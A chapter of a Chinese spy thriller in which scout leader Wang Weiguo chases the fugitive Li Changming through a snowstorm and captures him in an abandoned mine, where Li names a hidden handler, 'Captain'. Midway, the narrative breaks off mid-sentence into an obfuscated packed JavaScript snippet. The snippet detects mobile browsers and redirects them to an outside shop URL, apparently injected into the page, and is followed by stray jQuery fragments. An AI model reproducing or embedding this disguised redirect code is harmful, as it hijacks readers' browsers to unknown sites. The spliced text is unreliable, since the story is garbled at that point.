院子里已经积了厚厚一层新雪,吉普车停在门口,车身上堆满了白。
赵铁柱和孙小虎已经带着人等在车旁。
六个人,两辆车,全部全副武装。
王卫国跳上车,发动引擎。
“走。”
两辆吉普车冲出营地,一头扎进茫茫的风雪里。
路已经看不见了。
只有车灯照亮前方几米的范围,雪像一堵移动的白墙,迎面压过来。
雨刷器开到最快,还是刮不干净挡风玻璃上的积雪。
王卫国握着方向盘,眼睛死死盯着前方。
这条路他走过无数次,闭着眼都知道哪里该拐弯。
但此刻,所有的参照物都被雪淹没了,只能凭感觉和记忆往前开。
赵铁柱在对讲机里喊。
“队长,这天气,李长明那孙子肯定也跑不快。他一个人步行,走不了多远。”
王卫国没说话。
他知道赵铁柱说得对。
这种天气,步行一小时也走不了五公里。
李长明凌晨两点上的火车,现在应该刚到林山县。
但问题是,他怎么下火车?
怎么出站?
怎么找到接应的人?
这些问题,只有到了林山县才能知道。
一个半小时后,两辆吉普车驶进林山县。
县城很小,一条主街贯穿南北,两边是低矮的平房。
凌晨五点多,天还没亮,街上空无一人,只有风雪在肆虐。
火车站就在主街的尽头。
王卫国把车停在站前广场,跳下车,往候车室跑。
候车室里空荡荡的,只有几个等车的旅客裹着大衣缩在长椅上。
售票窗口关着,值班室里亮着灯。
王卫国推开门。
一个穿铁路制服的中年男人正在打瞌睡,被推门声惊醒,吓了一跳。
“同、同志,什么事?”
王卫国掏出证件。
“军区侦察处的。问你,凌晨两点那趟去边境的慢车,在青山站下车的人里,有没有一个穿军大衣的中年男人?”
值班员愣了一下,想了想。
“有……有一个。就他一个人下车。穿
着军大衣,戴皮帽子,背着个包。下车之后往出站口走了。”
“几点?”
“两点四十分。火车晚点了二十分钟。”
王卫国转身就往外走。
赵铁柱跟上来。
“队长,他肯定往边境方向去了。这种天气,他走不快。”
王卫国点点头,跳上车。
两辆吉普车再次冲进风雪里。
出了林山县,就是茫茫的雪原。
公路很快到了尽头,只剩一条勉强能辨认的土路,通向边境的方向。
土路两边是稀疏的林子,再往外就是无边无际的荒野。
王卫国放慢车速,盯着前方的雪地。
雪地上有脚印。
很新鲜,还没被风雪完全覆盖。
他停下车,跳下来,蹲在脚印旁边仔细看。
脚印很深,是一个成年男人留下的,步幅很大,说明他在跑。
脚印的方向,正是边境。
“是他。”王卫国站起来。
“上车,追。”
两辆车沿着脚印的方向追去。
风雪越来越大,能见度越来越低。
有时候不得不停下来,等风小一点再继续。
追了大约两个小时,脚印忽然消失了。
王卫国停下车,四处寻找。
周围的雪地被风吹得光滑如镜,没有任何痕迹。
赵铁柱跑过来。
“队长,他肯定发现咱们追了,故意踩硬地走,不留印。”
王卫国没说话,蹲下来仔细看。
他看风向,看雪的堆积方式,看周围的树木。
然后他站起来,指着一个方向。
“那边。他往那边走了。”
赵铁柱愣了一下。
“队长,你怎么知道?”
王卫国说。
“风向是西北风,他如果想掩盖脚印,会顺着风走,让风把痕迹吹掉。但那个方向——”
他指着相反的方向。
“是背风面。雪会堆积得更快,脚印很快就会被埋住。他如果往那边走,反而更容易留下痕迹。所以他一定是往我刚才指的方向走了。”
赵铁柱听完,服了。
“上车。”
两辆车继续追。
又追了一个小时,前面出现了一片废弃的矿区。
矿区的建筑物早已破败不堪,只剩几栋摇摇欲坠的砖房和一堆堆的矿渣。
风雪里,那些废墟看起来像一座座坟墓。
王卫国停下车,看着那片废墟。
“他可能在里边躲着。”
孙小虎说。
王卫国点点头。
“下车。散开,慢慢搜。”
六个人散开,呈扇形向废墟推进。
雪很深,没过膝盖。
每一步都要把腿从雪里**,再踩下去,发出咯吱咯吱的声响。
王卫国走在最中间,手里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224636|184587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枪已经上膛。
他盯着那些废墟,一处一处看。
最里面那栋砖房,窗户已经没了,门也歪在一边。
门口有一串浅浅的脚印,几乎被雪盖住。
他打了个手势。
所有人同时停下来。
王卫国盯着那扇歪斜的门,慢慢靠近。
十米。
五米。
三米。
他猛地踹开门,闪身进去。
屋里很黑,只有破屋顶透进来的一点光。
墙角里蜷缩着一个黑影。
王卫国举起枪。
“别动。”
那黑影动了动,抬起头。
是李长明。
他浑身是雪,脸色冻得发青,嘴唇乌紫,整个人缩成一团,不停地发抖。
看见王卫国,他的眼睛里闪过一丝恐惧,但很快又变成一种认命的光。
“王……王队长……”
他的声音沙哑得几乎听不清。
王卫国收起枪,走过去,蹲下。
“李长明,你跑不掉了。”
李长明看着他,没说话。
赵铁柱和孙小虎跟进来,把李长明从墙角拉起来。
他已经冻得站不稳,两条腿像两根木棍,根本使不上力。
“押回去。”
王卫国说。
几个人架着李长明往外走。
走到门口,李长明忽然停下。
他回过头,看着王卫国。
“王队长……我……我有个事想告诉你。”
王卫国看着他。
李长明低下头。
“我……我不是最大的。我上面还有人。他代号叫‘船长’,我从没见过他,只通过电台和死信箱联系。”
王卫国心里一震。
但脸上没有表情。
“接着说。”
李长明摇摇头。
“就这些。别的……别的我也不知道。他从不露面,每次都是给我指令,让我去指定地点取钱和任务。我……我就是个跑腿的。”
王卫国盯着他。
那双眼睛里,没有撒谎的痕迹。
只有恐惧和疲惫。
“押走。”他说。
车子发动,驶离矿区。
后座上,李长明缩成一团,不停地发抖。
不知道是冷的,还是怕的。
王卫国坐在副驾驶,看着窗外飞逝的风雪。
他心里想着刚才李长明说的那个代号。
船长。
又是船长!
看来这条线,果然比自己想象中,还要深得多。